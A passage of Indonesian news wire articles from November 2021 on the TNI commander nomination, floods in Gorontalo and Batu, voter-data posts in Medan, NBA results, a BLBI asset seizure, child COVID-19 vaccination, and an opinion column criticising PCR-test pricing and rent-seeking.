hukuman mati di Jepang, berdasarkan berita media lokal. Namun, Kementerian Kehakiman Jepang belum dapat dimintai komentar untuk mengonfirmasi angka tersebut. (sws)

Polri: Siapapun Panglimanya Sinergi TNI-Polri Tetap Terjalin

Jakarta, FNN - Kepala Divisi Humas Polri Irjen Pol Argo Yuwono mengatakan Polri mendukung siapa saja yang menjadi Panglima TNI karena sinergi TNI-Polri sampai kapan pun akan tetap terjalin "Dari kepolisian itu tidak ada masalah siapa pun panglimanya (TNI), kita tetap jaga dan jamin sinergi," kata Argo saat dikonfirmasi di Jakarta, Jumat. Pimpinan DPR RI menerima Surat Presiden (Surpres) terkait usulan calon Panglima TNI atas nama Jenderal Andika Perkasa. Surpres tersebut disampaikan Menteri Sekretaris Negara (Mensesneg) Pratikno kepada Pimpinan DPR RI di Jakarta, Rabu (3/11). Saat ditanya tanggapannya terkait Jenderal Andika diajukan Presiden sebagai calon tunggal Panglima TNI, Argo berpendapat pilihan Presiden merupakan yang terbaik. "Ya tentunya pilihan Presiden itu yang terbaik," ujar Argo. Uji kelayakan dan kepatutan calon Panglima TNI Jenderal Andika Perkasa akan dilaksanakan pada Jumat (6/11). Sementara itu, pada peringatan HUT Ke-76 TNI pada tanggal 5 Oktober 2021, Panglima TNI Marsekal TNI Hadi Tjahjanto saat menerima kunjungan Kapolri Jenderal Pol Listyo Sigit Prabowo di ruang kerjanya menyampaikan apresiasi atas kejutan kecil yang diberikan Kapolri beserta jajaran serta ucapan terima kasih kepada seluruh jajaran Korps Bhayangkara. Menurut Hadi, sepanjang menjabat sebagai Panglima TNI, dalam menjalankan tugas dirinya selalu mendapatkan dukungan ataupun bentuk sinergi lain dari jajaran Polri. "Di ujung masa pengabdian saya pada HUT Ke-76 TNI, saya mengucapkan terima kasih banyak kepada jajaran Polri atas kerja sama dan sinergi kurang lebih selama empat tahun saya menjabat Panglima TNI telah didukung penuh oleh Polri," kata Panglima. Dalam kesempatan itu, Panglima Hadi menitip amanat kepada penerusnya untuk tetap menjaga soliditas dan sinergi yang sudah baik dengan jajaran Polri setelah dirinya purnatugas. "Saya mengharapkan pada akhir pengabdian saya, junior-junior saya nanti akan melanjutkan apa yang sudah menjadi komitmen antara TNI-Polri dengan tetap menjaga sinergi TNI-Polri. Dengan bersinergi, maka TNI-Polri akan bersatu, berjuang, pasti kita menang," pesan Panglima. (sws)

Wakil Ketua DPR: Pemerintah Harus Mendorong Industri Kreatif

Jakarta, FNN - Wakil Ketua DPR RI Abdul Muhaimin Iskandar (Gus Muhaimin) meminta pemerintah mendorong dan mendukung industri kreatif di Tanah Air agar berkembang. Gus Muhaimin dalam keterangannya yang diterima di Jakarta, Jumat, mengatakan sektor tersebut memiliki peluang dalam teknologi digital sebagai penopang ekonomi nasional, terlebih di tengah himpitan pandemi. "Kemampuan teknologi digital ini memberikan peluang luar biasa melakukan bisnis industri kreatif, bahkan menyangkut semua aspek sosial, ekonomi, politik, dan budaya. Jadi saya mendorong kehadiran, concern, dan support pemerintah untuk sektor industri kreatif itu," kata Gus Muhaimin. Gus Muhaimin menyampaikan itu ketika melakukan kunjungan dadakan ke Rumah Produksi Nussa di kawasan Cipete, Jakarta Selatan. Menurutnya, siapa tak kenal serial animasi Nussa dan Rara (Nussa), dibalik animasi fenomenal karya anak bangsa itu ternyata berdiri sosok-sosok kreatif yang punya idealisme tinggi. Gus Muhaimin disambut CEO Nussa, Aditya Triantoro, CCO Nussa, Bony Wirasmoro, dan COO Nussa, Ricky Manopo. Gus Muhaimin yang didampingi Ketua Komisi X DPR RI Syaiful Huda sempat diajak tur singkat untuk melihat perlengkapan produksi serial Nussa. “Pantas saja kalo Nussa bagus dari segi produksi dan kontennya, ternyata tim yang memegang para animator top dunia,” kata Gus Muhaimin. Dia mengatakan keluarga, terutama anak-anaknya menggemari serial Nussa yang tayang melalui platform youtube. Bahkan anaknya yang kebetulan bernama Rara, tidak bisa tidur jika belum menonton tayangan Nussa. “Anak saya si Rara sangat menggemari serial Nussa, dari situ saya ikut menonton dan tahu konten Nussa sangat bagus dan penuh dengan unsur mendidik,” katanya. Gus Muhaimin mengatakan Indonesia sangat membutuhkan serial seperti Nussa. Dulu, Indonesia punya serial legendaris seperti Si Unyil yang menggabungkan unsur edukasi dan entertainment. Namun, kata dia, karena penggarapannya masih tradisional dan tidak segera diperbarui, maka serial tersebut akhirnya ditinggalkan penonton. “Pada zamannya Si Unyil cukup digemari karena ada unsur ‘eduitment’-nya. Tetapi karena penggarapannya masih tradisional, akhirnya banyak anak kita yang menggemari serial dari luar negeri yang lebih menarik dilihat seperti Upin-Ipin atau serial garapan Disney maupun berbagai rumah produksi luar negeri,” katanya. Gus Muhaimin menegaskan Indonesia butuh lebih banyak serial animasi berkualitas untuk mengimbangi gempuran konten-konten negatif yang banyak berseliweran di berbagai platform media sosial. Apalagi, katanya, saat ini penggunaan gawai di kalangan anak-anak Indonesia hampir tidak bisa dibendung lagi. Anak-anak di bawah umur, menurut Gus Muhaimin, saat ini dengan mudah mengakses gawai yang menyediakan berbagai konten negatif. "Kehadiran animasi-animasi berkualitas seperti Nussa ini bisa menjadi opsi agar anak-anak kita tidak terjebak dampak negatif banjirnya konten di berbagai platform media sosial,” katanya. Gus Muhaimin memberikan apresiasi terhadap capaian Film Nussa yang saat ini tayang di layar bioskop Indonesia. Tingginya antusias penonton menjadi bukti jika produk film dengan kualitas konten bagus dan mendidik masih mempunyai pasar besar di Tanah Air. “Jadi bisa disimpulkan jika masyarakat kita masih banyak yang peduli dan konsen terhadap produk kreatif, terutama film yang digarap dengan bagus dan punya unsur pendidikan di dalamnya,” katanya. Gus Muhaimin mendorong pemerintah untuk memberikan proteksi dan subsidi bagi industri kreatif seperti Nussa. “Subsidi dan proteksi khusus untuk industri kreatif saya kira harus terus didorong, khususnya dalam belanja/pengadaan barang yang memang tidak diproduksi dalam negeri,” katanya. CEO Nussa, Aditya Triantoro menyebutkan Film Nussa berhasil mendapatkan lebih dari 100 ribu penonton selama 11 hari. Angka tersebut menjadi capaian yang terbilang baik karena kapasitas penonton dibatasi demi menerapkan protokol kesehatan yang sangat berpengaruh pada jumlah penonton. Film itu mendapat sambutan hangat dari penonton ketika tayang di bioskop Indonesia. Tiket film animasi ini terjual habis di sejumlah bioskop di Jakarta, Bogor, Depok, Tangerang, Bekasi, dan Yogyakarta pada penayangan hari pertama. Hingga Kamis 4 November 2021, film tersebut sudah ditonton lebih dari 270 ribu orang. Dia mengatakan tantangan yang dihadapi adalah sisi produksi karena cukup mahal. "Kalau dirinci satu komputer ditambah software editor animator itu sampai Rp1 miliar. Itu belum seberapa kalau sampai tayang ke layar lebar, biaya produksinya bisa mencapai Rp25 miliar,” ujarnya Aditya. (sws)

Banjir Melanda Sejumlah Desa di Gorontalo Utara

Gorontalo, FNN - Banjir melanda sejumlah desa di Kabupaten Gorontalo Utara, Provinsi Gorontalo, sejak Kamis malam (4/11), setelah hujan mengguyur wilayah tersebut. Menurut Kepala Badan Penanggulangan Bencana Daerah (BPBD) Gorontalo Utara Asri Ode Muisi di Gorontalo, Jumat, banjir paling parah terjadi di empat desa di Kecamatan Anggrek, tempat banjir menimbulkan genangan setinggi sekitar satu meter. Di wilayah Kecamatan Anggrek, menurut data sementara BPBD banjir berdampak pada 18 keluarga di Desa Tolongio, 12 keluarga di Desa Popalo, 20 keluarga di Desa Ilodulunga, dan lima keluarga di Desa Hiyalo Oyile. Menurut data BPBD, banjir juga berdampak pada 53 keluarga di Desa Milango, Kecamatan Tomilito, serta 38 keluarga di Desa Jembatan Merah, Kecamatan Tomilito. Asri mengatakan bahwa banjir di desa-desa tersebut menyebabkan setidaknya 20 rumah rusak berat dan dua rumah semipermanen hanyut. "Untuk wilayah lainnya, sementara dalam pendataan dan koordinasi," katanya. Menurut dia, banjir juga terjadi di wilayah Kecamatan Kwandang, di antaranya di Desa Molingkapoto Selatan, Desa Leboto, Desa Posso, dan Desa Bulalo. Asri mengatakan bahwa BPBD berkoordinasi dengan tim SAR Posko Gorontalo Utara, TNI, Polri, serta pemerintah desa untuk mengevakuasi warga di desa-desa yang dilanda banjir. "Kami berkoordinasi dengan seluruh pemerintah desa, meminta agar meneruskan imbauan kepada warga di wilayah rawan banjir dan tanah longsor agar mengungsi ke tempat aman," katanya. (mth)

Komisi I Sedang Teliti Kelengkapan Administrasi Calon Panglima

Jakarta, FNN - Anggota Komisi I DPR RI Sukamta mengatakan Sekretariat Komisi I DPR sedang meneliti kelengkapan dokumen calon Panglima TNI Jenderal Andika Perkasa. Menurut dia, dokumen tersebut telah diserahkan kepada Komisi I DPR pada Kamis (4/11). "Sepertinya dokumen sudah diserahkan bersama suratnya kemarin (Kamis, 4/11). Saat ini sedang diteliti," kata Sukamta di Jakarta, Jumat. Ia menjelaskan, penelitian administrasi calon Panglima TNI, terdiri dari bukti penyerahan Laporan Kekayaan Penyelenggara Negara (LHKPN) ke KPK, NPWP, SPT Pajak tahun terakhir, daftar riwayat hidup, dan surat keterangan berbadan sehat. Menurut dia, kelengkapan dokumen tersebut sangat diperlukan sebelum Jenderal Andika menjalani uji kelayakan dan kepatutan sebagai calon Panglima TNI pada Sabtu (6/11). "Verifikasi administrasi tersebut harus selesai hari ini agar Sabtu pagi bisa dilaksanakan (uji kelayakan calon Panglima TNI)," ujarnya. Sebelumnya, rapat internal Komisi I pada Kamis (4/11) yang dihadiri seluruh fraksi memutuskan verifikasi kelengkapan dokumen calon Panglima TNI dilakukan pada (Jumat, 5/11) oleh Pimpinan Komisi dan Kapoksi. Rapat internal juga memutuskan uji kelayakan calon Panglima TNI dilakukan pada Sabtu (6/11) pukul 10.00 WIB. Uji kelayakan tersebut bersifat terbuka untuk visi misi, namun tertutup untuk hal-hal strategis dan pendalaman visi-misi. Setelah uji kelayakan, Komisi I DPR dijadwalkan akan melaksanakan rapat internal untuk pemberian persetujuan, pada Sabtu (6/11) pukul 13.00 WIB. Selanjutnya diserahkan kembali kepada Pimpinan DPR untuk diambil keputusan dalam Rapat Paripurna DPR pada Senin (8/11). (sws)

KPU Medan Buka Posko PDPB di 21 Kecamatan

Medan, FNN - Komisi Pemilihan Umum (KPU) Kota Medan membuka Posko Pemutakhiran Data Pemilih Berkelanjutan (PDPB) di 21 kecamatan untuk memaksimalkan partisipasi masyarakat dalam pemutakhiran data pemilih. Anggota KPU Kota Medan Nana Miranti, di Medan, Jumat, mengatakan posko tersebut dibuka mulai 5 - 26 November 2021. "Kegiatan PDPB memperbarui data pemilih sehingga nanti akan mempermudah pemutakhiran data dan penyusunan daftar pemilih pada pemilihan berikutnya," katanya. Nana menjelaskan di luar tahapan pemilu atau pemilihan, KPU Kota Medan sesuai UU diperintahkan untuk tetap melakukan pemutakhiran dan pemeliharaan data pemilih secara berkelanjutan dan proses itu sudah berjalan sejak Maret 2021. Memperbarui data pemilih, katanya, dilakukan dengan menambahkan pemilih baru yang sudah memenuhi syarat sebagai pemilih, namun belum terdaftar di daftar pemilih tetap (DPT) Pemilu 2024. "Atau menghapus data pemilih yang sudah tidak memenuhi syarat karena meninggal, pindah domisili, ganda, menjadi TNI/Polri, dan lain-lain serta dapat melakukan perubahan elemen-elemen data pemilih," katanya. Ia menambahkan untuk mencapai tujuan yang maksimal dari proses PDPB, KPU Kota Medan sudah melaksanakan koordinasi dengan stakeholder dan pihak terkait setiap tiga bulan sekali. Kemudian, melakukan sosialisasi melalui media sosial KPU Kota Medan dan membuka posko tanggapan masyarakat di Kantor KPU Kota Medan setiap hari pada jam kerja. "Kami menerima laporan masyarakat secara online melalui hhtp://bit.ly/kpukotamedan atau menghubungi nomor call center KPU Kota Medan 0812 6505 5075. Dari evaluasi kami, hal itu masih minim tanggapan masyarakat,” katanya Adapun jadwal Posko PDPB di 21 kecamatan, yakni 5 November di Kecamatan Medan Perjuangan dan Medan Tembung, 8 November di Kecamatan Medan Timur dan Medan Barat, 10 November di Kecamatan Medan Helvetia dan Medan Petisah, 12 November di kecamatan Medan Maimun dan Medan Polonia, 15 November di Kecamatan Medan Sunggal dan Medan Baru. Kemudian pada 17 November Kecamatan Medan Selayang dan Medan Johor, 19 November di Kecamatan Medan Deli dan Medan Marelan, 22 November di Kecamatan Medan Labuhan dan Medan Belawan, 23 November di Kecamatan Medan Amplas dan Medan Denai, 24 November di Kecamatan Medan Tuntungan dan pada 26 November di Kecamatan Medan Kota dan Medan Area. (sws)

Ringkasan NBA: Celtics Akhiri Lima Kemenangan Beruntun Heat

Jakarta, FNN - Jaylen Brown mencetak 17 poin untuk memimpin tim tamu Celtics mengalahkan Miami Heat 95-78 pada laga Kamis (Jumat WIB) dengan upaya defensif yang mengesankan untuk menghentikan lima kemenangan beruntun Heat. Dennis Schroder mencetak 14 poin, Aaron Nesmith 13 poin dan Romeo Langford memasukkan 12 poin untuk Boston, yang meraih kemenangan kedua berturut-turut menyusul tiga kekalahan beruntun. Miami, yang memasuki laga dengan rata-rata 115,6 poin tertinggi di liga, mencatat total poin terendah musim dan menembak 34,6 persen dari lapangan dan 9 dari 41 (22 persen) dari jarak tiga poin. Jimmy Butler mencetak 20 poin, Duncan Robinson 16 dan Bam Adebayo mencatat 13 poin dan tujuh rebound untuk Miami. Lowry melakukan enam dari 18 turnover tim. Kyle Lowry mencetak enam poin untuk Miami sebelum meninggalkan lapangan pada akhir kuarter ketiga karena pergelangan kaki kirinya terkilir. 76ers 109, Piston 98 Seth Curry mengemas 23 poin, Tyrese Maxey menyumbang 20 dan membawa Philadelphia meraih kemenangan kelima berturut-turut. Joel Embiid menyumbang 19 poin dan sembilan rebound untuk 76ers sementara Shake Milton memasukkan 16 poin dengan delapan rebound dan lima assist. Georges Niang menyumbang 14 poin dan tujuh rebound dari bangku cadangan untuk Philadelphia, yang bermain tanpa starter Tobias Harris dan Danny Green. Jerami Grant mencetak 27 poin, enam rebound, dan empat assist untuk Pistons, yang hanya mengumpulkan 32 poin pada babak kedua. Cade Cunningham, pemain pilihan teratas draft, mencatat double-double pertamanya dengan 18 poin dan 10 rebound meskipun tembakan 4-untuk-17 dari lapangan. Jazz 116, Hawks 98 Jordan Clarkson yang berangkat dari bangku cadangan mencetak 30 poin tertinggi musim ini dan memimpin tim tamu melewati Atlanta untuk meraih kemenangan ketiga berturut-turut. Clarkson melakukan 10-untuk-19 upaya dari lapangan dan membuat empat lemparan tiga poin. Dia bergabung dengan Joe Ingles, yang mencatatkan rekor 19 poin, untuk mengimbangi absennya Donovan Mitchell (24,9 poin per pertandingan), yang absen karena terkilir pergelangan kaki kanan. Trae Young memimpin Hawks dengan 21 poin, meskipun ia hanya mencetak 8 dari 20 upaya field-goal dan melewatkan empat percobaan 3 poinnya. Clint Capela menyumbang 13 poin dan 10 rebound, demikian laporan Reuters. (sws)

Satgas BLBI Sita 124 Hektare Lahan Tommy Soeharto di Karawang

Karawang, FNN - Satgas BLBI menyita aset milik anak bungsu mantan Presiden Soeharto, Hutomo Mandala Putra alias Tommy Soeharto, berupa tanah seluas 124 hektare di wilayah Dawuan, Kabupaten Karawang, Jawa Barat, Jumat. Proses penyitaan aset tersebut mendapat pengawalan ketat aparat keamanan gabungan dari Polres Karawang, Brimob, Kodim 0604 Karawang dan Satpol PP setempat. Selain menurunkan personel, pihak kepolisian juga menurunkan sejumlah kendaraan taktis di lokasi penyitaan. Direktur Jenderal Kekayaan Negara Kementerian Keuangan sekaligus Ketua Pelaksana Satgas BLBI Rionald Silaban mengatakan lahan 124 hektare itu adalah lahan PT Timor Putra Nasional, perusahaan milik Hutomo Mandala Putra alias Tommy Soeharto. Ia menyampaikan, PT Timor Putra Nasional (TPN) masih berutang kepada negara. Utang tersebut bermula saat PT TPN mendapat fasilitas pinjaman dari Bank Bumi Daya, yang kini Bank Mandiri. Hingga hari ini, kata dia, Satgas BLBI telah melakukan upaya penagihan terhadap kewajiban PT TPN. Penagihan kewajiban PT TPN berasal dari kredit beberapa bank. Adapun outstanding nilai utang PT TPN kepada pemerintah yang ditagihkan oleh PUPN setelah ditambahkan Biaya Administrasi Pengurusan Piutang Negara (10 persen) sebesar Rp2.612.287.348.912,95. Itu sesuai dengan PJPN-375/PUPNC.10.05/2009 tanggal 24 Juni 2009. Menurut dia, penagihan yang telah dilakukan oleh PUPN telah sampai pada tahap penerbitan surat sita atas aset jaminan PT TPN. Namun, pelaksanaan sita terhadap aset belum dapat dilaksanakan karena kendala di lapangan dan baru hari ini dilaksanakan. Di lokasi, Satgas memasang pelang atas empat aset tanah yang merupakan jaminan kredit PT TPN. Dalam penyitaan ini, Ketua Satgas BLBI didampingi oleh anggota PUPN Panitia Urusan Piutang Negara (PUPN) cabang DKI Jakarta dan Jawa Barat. Selain itu penyitaan ini juga disaksikan oleh Tim Pelaksana Satgas BLBI antara lain unsur dari Badan Intelijen Negara (BIN) dan Badan Pertanahan Nasional. Rionald menyebutkan, aset jaminan PT TPN yang telah dilakukan penyitaan akan dilanjutkan proses pengurusannya melalui mekanisme PUPN yaitu dilakukannya penjualan secara terbuka atau lelang. (sws)

KPPPA: Vaksinasi Anak Usia 6--11 Tahun Bentuk Nyata Perlindungan Anak

Jakarta, 05/11 FNN - Menteri Pemberdayaan Perempuan dan Perlindungan Anak Bintang Puspayoga mengatakan persetujuan vaksinasi bagi anak usia 6 – 11 tahun dari Badan Pengawas Obat dan Makanan (BPOM) merupakan bentuk nyata perlindungan terhadap anak di masa pandemi COVID-19. Pihaknya berharap orang tua tidak ragu untuk mengizinkan anaknya mendapatkan vaksinasi sebab anak merupakan kelompok yang rentan dan berisiko tinggi terhadap penularan COVID-19. “Kami menyambut baik persetujuan vaksinasi bagi anak usia 6 – 11 tahun. Tentu persetujuan BPOM itu setelah dilandasi uji klinis bertahap yang menunjukkan keamanan sehingga kita semua tidak perlu ragu agar anak usia 6 – 11 tahun mendapatkan vaksinasi," kata Menteri Bintang melalui siaran pers di Jakarta, Jumat. Meski vaksinasi telah berjalan, Bintang mengingatkan agar semua taat menjalankan protokol kesehatan. Saat ini, penularan COVID-19 menurun tajam, namun ancaman tidak berarti hilang. Kasus dapat meningkat lagi apabila protokol kesehatan diabaikan. "Fokus kami adalah melindungi anak dan meyakinkan kalau hak-hak anak terpenuhi secara baik, meskipun dalam suasana pandemi COVID-19. Kepentingan terbaik anak adalah prioritas di tengah pandemi ini," katanya. Kasus penularan COVID-19 pada anak sebelumnya sempat menunjukkan angka yang tinggi. Proporsi kasus konfirmasi positif COVID-19 pada anak usia 0-18 tahun mencapai angka 12,5 persen. Artinya, 1 dari 8 kasus itu adalah anak dengan 50 persen kasus kematian COVID-19 anak ada pada usia balita. Badan Pengawas Obat dan Makanan (BPOM) resmi memberikan izin penggunaan darurat atau Emergency Use Authorization (EUA) vaksin Sinovac untuk vaksinasi kepada anak usia 6 sampai 11 tahun. Dari hasil uji klinis yang dilakukan BPOM, vaksin Sinovac aman bagi anak usia 6 – 11 tahun. Sementara vaksinasi bagi anak usia 12 – 17 tahun telah berjalan sehingga proses pembelajaran tatap muka di sekolah mulai dapat dilakukan secara bertahap. (sws)

Gubernur Mengupayakan Percepatan Pembersihan Sampah Sisa Banjir di Batu

Kota Batu, FNN - Gubernur Jawa Timur Khofifah Indar Parawansa mengupayakan percepatan pembersihan sampah sisa banjir bandang di wilayah Kota Batu. Di Kota Batu, Jumat, Khofifah mengatakan bahwa pemerintah provinsi akan mendatangkan alat berat untuk membantu mempercepat pembersihan sampah sisa banjir bandang di kota tersebut. "Butuh percepatan untuk pembersihan sampah. Ini tidak bisa manual, sehingga butuh ekskavator yang lebih besar, kemudian juga membutuhkan dump truck," katanya. Menurut dia, Dinas Cipta Karya Provinsi Jawa Timur akan mendatangkan alat-alat berat yang dibutuhkan untuk mempercepat pembersihan area-area yang terdampak banjir di Kota Batu. Gubernur mengemukakan, sampah sisa banjir harus segera dibersihkan supaya risiko banjir bisa ditekan apabila hujan dengan intensitas tinggi kembali mengguyur Kota Batu. "Jika alat berat diturunkan, bisa segera bisa menyelesaikan (proses pembersihan), sehingga apa yang kita khawatirkan kalau ada hujan susulan dan seterusnya relatif bisa melakukan mitigasi lebih efektif," katanya. Selain itu, Gubernur menginstruksikan pengerahan anjing pelacak untuk mencari korban bencana. "Memang membutuhkan bantuan anjing pelacak supaya bisa mengidentifikasi kira-kira pada titik mana korban yang sedang dicari," katanya. Pada Kamis (4/11) sekitar pukul 14.00 WIB, banjir bandang melanda bagian wilayah Desa Bulukerto, Desa Sumber Brantas, dan Desa Punten di Kecamatan Bumiaji serta Desa Sidomulyo dan Desa Tulungrejo di Kecamatan Batu. Menurut data Badan Penanggulangan Bencana Daerah (BPBD) Kota Batu, bencana tersebut telah menyebabkan lima orang meninggal dunia. Di samping itu, ada beberapa orang yang dilaporkan hilang saat banjir melanda Kota Batu. (mth)

Vaksin, PCR, dan Angkara di Tengah Pandemi

Oleh Gde Siriana Yusuf *) RAKYAT Indonesia sesungguhnya telah lama mengenal konspirasi jahat di tengah wabah penyakit. Hal ini, misalnya, dapat ditemukan dalam kisah Calon Arang—cerita rakyat Jawa dan Bali dari abad ke-12. Kisah itu terjadi pada masa pemerintahan Raja Airlangga (1006-1042), anak Raja Udayana yang memerintah Kerajaan Daha Kediri, Jawa Timur, sejak 1021. Naskah lontar yang berisi cerita ini ditulis dengan aksara Bali kuno dan kini tersimpan di Koninklijk Instituut voor Taal-, Land- en Volkenkunde (KITLV), Leiden, Belanda. Calon Arang digambarkan sebagai penguasa ilmu hitam yang, bersama pengikutnya, sering merusak hasil panen petani dan mendatangkan penyakit di Desa Girah. Ia mendatangkan penyakit karena marah kepada penduduk desa yang enggan meminang putrinya, Ratna Manggali, karena takut kepada Calon Arang. Bukan hanya penyakit, Calon Arang juga mengirim banjir besar ke desa tersebut, sehingga banyak orang meninggal. Di akhir cerita, Calon Arang dapat dikalahkan oleh Mpu Bharadah, guru spiritual Raja Airlangga yang terkenal sakti, yang namanya juga tercatat dalam kitab Negarakertagama. Selama masa pandemi, selain muncul krisis kesehatan, ekonomi, dan demokrasi, krisis yang menjadi fokus utama dunia adalah korupsi. Pandemi Covid-19 telah menciptakan badai korupsi yang sempurna dengan menghasilkan peluang baru untuk mencari rente. Lebih banyak sumber daya, baik di dalam maupun di luar negeri, disediakan untuk mengatasi pandemi dalam konteks kompromi dalam keleluasaan pengambilan keputusan dan alokasi sumber daya yang dikombinasikan dengan pengawasan serta penegakan yang terbatas (Martini, 2020). Di satu sisi, diperlukan mobilisasi sumber daya besar-besaran untuk mengatasi krisis kesehatan dan ekonomi. Tapi, bersamaan dengan itu, terbuka pula peluang korupsi. Sementara itu, dalih kedaruratan telah melemahkan mekanisme pencegahan dan pengawasan korupsi. Hal ini menjadi fenomena umum di banyak negara menengah-miskin. Afrika Selatan merupakan salah satu contoh negara yang mengalami banyak kasus korupsi dalam bantuan sosial dan pembelian vaksin. Sementara dulu konspirasi Calon Arang dilandasi dendam dan Mpu Bharadah tidak menjual kesaktiannya untuk menyembuhkan penyakit warga Desa Girahmaka, kini ada konspirasi jahat yang lebih dilandasi motif ekonomi serta kesaktian teknologi dalam bentuk masker, alat tes, dan vaksin Covid-19 yang harus dibayar oleh seluruh penduduk dunia. Jika tidak dapat dianggap sebagai sebuah konspirasi, setidaknya ada pihak-pihak yang dengan serakah memanfaatkan situasi pandemi untuk mengambil keuntungan ekonomi di tengah penderitaan orang banyak. Di sinilah potensi korupsi dan mengejar rente terjadi. Sebab, hari ini tidak ada Mpu Bharadah, tapi ada pabrik-pabrik dan para pedagang yang memproduksi massal kesaktiannya, lalu menjualnya melalui kerja sama dengan pembuat kebijakan. Pandemi seharusnya menjadikan kita lebih menjaga kesehatan diri, peduli terhadap sesama, lebih religius, dan secara ekonomi harus bertahan hidup. Orang-orang serakah justru memanfaatkan peluang ekonomi ini untuk mengambil lebih banyak dari orang-orang yang menderita. Seperti halnya politik vaksin, politik tes polymerase chain reaction (PCR) tidak melarang orang mencari untung. Tapi, dalam konteks good governance, hak publik harus dilindungi dengan memastikan prinsip transparansi, akuntabilitas, dan keadilan dijalankan. Transparency International (2021) berpendapat bahwa klausul kerahasiaan tidak boleh digunakan oleh perusahaan farmasi atau pemerintah untuk mengabaikan hak publik atas informasi penting, seperti harga sebenarnya tes PCR dan vaksin serta berapa keuntungan yang diperoleh pabrikan dan penyelenggara tes PCR dan vaksinasi. Jika India dapat menurunkan harga tes PCR beberapa kali, dari 4.500 rupee (Maret 2020) hingga 500 rupee atau setara dengan Rp 96 ribu (Agustus 2021), mengapa Indonesia tidak bisa? Itu adalah pertanyaan logis masyarakat yang semestinya direspons pemerintah dengan bijak. Presiden Joko Widodo memerintahkan untuk kedua kalinya penurunan harga PCR, dari Rp 450 ribu ke Rp300 ribu, tapi penggunaan tes PCR diperluas ke semua moda transportasi, baik darat, laut, maupun udara. Bagi pebisnis, hal ini mirip cara mempertahankan profit. Jika margin berkurang, kuantitas harus diperbanyak. Penurunan harga tes PCR ini pun tidak dapat menjawab pikiran logis masyarakat: jika di India harga tes PCR bisa jauh lebih murah berkali-kali lipat, mengapa Indonesia tidak mengimpor saja dari sana? Thomas Ferguson (1995) telah menjelaskan dalam teori persaingan investasi partai politik bahwa para investor besar yang berasal dari masyarakat kelas atas dan berkontribusi besar dalam pemenangan kampanye politik pemerintah yang berkuasa memiliki kemampuan untuk mempengaruhi politik negara. Sebab, mereka memiliki akses ke informasi-informasi penting yang mahal harganya sehingga tidak terjangkau oleh warga biasa. Teori ini memperlihatkan bagaimana kebijakan publik akan sangat dipengaruhi oleh kepentingan orang kaya, dan kepentingan kelas bawah sangat mungkin dikorbankan. Konsekuensinya, seluruh area kebijakan tidak lagi akan diperebutkan atau diperdebatkan karena investor besar yang tersebar di berbagai partai politik memiliki preferensi yang identik dalam banyak isu kebijakan. Namun ada fakta di Indonesia yang belum dijelaskan oleh Thomas Ferguson, yaitu para investor politik tidak saja mempengaruhi kebijakan publik, tapi juga menempatkan dirinya dalam kabinet dan menjadi pembuat kebijakan. Inilah yang terjadi dalam kebijakan-kebijakan pemerintahan Jokowi selama masa pandemi dan tidak ada perlawanan yang sungguh-sungguh dari Dewan Perwakilan Rakyat (partai politik) untuk mengkritik kebijakan ihwal pandemi yang memberatkan masyarakat. Praktik memburu rente dapat dilihat sebagai usaha menerapkan praktik monopoli terhadap sumber daya dan melobi pemerintah/penguasa dalam upaya mendapatkan perlindungan, konsesi, serta hak guna sumber daya tersebut (Ratnia Solihah, 2016). Perburuan rente disebut sebagai korupsi ketika ada persaingan untuk perlakuan istimewa terbatas bagi beberapa orang dalam dan ketika biaya berburu rente sangat berharga bagi penerimanya (Johan Graf Lambsdorff, 2002). Konsep ini juga berlaku untuk perilaku birokrasi yang meminta dan mengekstrak "suap" atau "sewa" melalui otoritas legal yang bersifat diskresioner untuk tujuan memberikan keuntungan yang sah ataupun tidak sah kepada klien politik (Chowdhury, Faizul Latif, 2006). Hal ini sangat terlihat dari kebijakan PCR, juga pengadaan vaksin yang dibungkus dengan nuansa diskresi, saat kebijakan selama masa pandemi akan berlindung pada "kekebalan hukum" yang diberikan oleh Undang-Undang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan untuk Penanganan Pandemi Covid-19. Kita harus berterima kasih kepada Mahkamah Konstitusi yang telah mengabulkan judicial review, sehingga tidak ada pejabat negara yang kebal hukum dan tak bisa berdalih dengan pandemi dalam mengelola keuangan negara sehingga menabrak aturan. Dalam praktiknya, akan sulit menghindari konflik kepentingan jika orang-orang yang berlatar belakang bisnis, apalagi yang berkontribusi besar secara kapital dalam pemenangan pemilihan presiden, diberi tugas menyusun kebijakan publik ihwal tes PCR. Pemerintah harus merasakan beban masyarakat yang bertambah selama masa pandemi. Harga tes PCR merupakan salah satu beban tambahan, dan pemerintah seharusnya mengupayakan harga serendah mungkin, relatif terhadap harga di negara lain. Apa yang menjadi beban masyarakat sebagai akibat inefisiensi perusahaan ataupun praktik memburu rente seharusnya pada akhirnya dipandang akan merugikan ekonomi nasional dan berdampak pada kecepatan pemulihan ekonomi. Di sisi lain, harga vaksin dan tes PCR, juga vitamin dan obat-obatan lain, menjadi hal yang sensitif bagi masyarakat selama masa pandemi karena menyentuh rasa keadilan, yaitu perasaan senasib sebagai suatu bangsa yang sedang dilanda berbagai kesulitan. Untuk itu, Presiden Jokowi perlu mempertimbangkan kembali penugasan orang-orang berlatar belakang pedagang yang memimpin upayabesar untuk mengatasi pandemi. Sebab, dipastikan mereka sangat kesulitan menjaga naluri mencari untung besar meskipun dalam situasi krisis. Jika hal ini dibiarkan, kisah pandemi Covid-19 akan menjadi angkara di tengah nestapa pandemi. *) Direktur Eksekutif Indonesia Future Studies (INFUS) Tulisan ini juga dimuat Koran Tempo pada 5 November 2021

Stafsus Presiden: RI Pertahankan Pertumbuhan Positif Meski Ada PPKM

Jakarta, FNN - Staf Khusus (Stafsus) Presiden Bidang Ekonomi Arif Budimanta mengatakan Indonesia mampu mempertahankan tren pertumbuhan positif pada kuartal III 2021 (Juli-September) meskipun pada periode tersebut pemerintah harus memberlakukan PPKM Darurat yang dilanjutkan dengan PPKM berlevel. “Indonesia berhasil mempertahankan pertumbuhan ekonomi di zona positif di saat puncak pandemi COVID-19 menghebat pada bulan Juli-September 2021,” kata Arif saat dihubungi di Jakarta, Jumat. Sebagaimana pengumuman Badan Pusat Statistik (BPS) pada Jumat pagi ini, ekonomi Indonesia di kuartal III 2021 tumbuh 3,51 persen secara tahunan (year on year/yoy) dan 1,55 persen secara kuartal (quarter to quarter/qtq). Arif mengatakan dengan pertumbuhan ekonomi 3,51 persen (yoy) di tengah penerapan PPKM, menandakan masyarakat mulai beradaptasi untuk berkegiatan di tengah pandemi COVID-19. Hal itu menjadi modal yang kuat bagi pemulihan ekonomi ke depannya, meskipun pandemi COVID-19 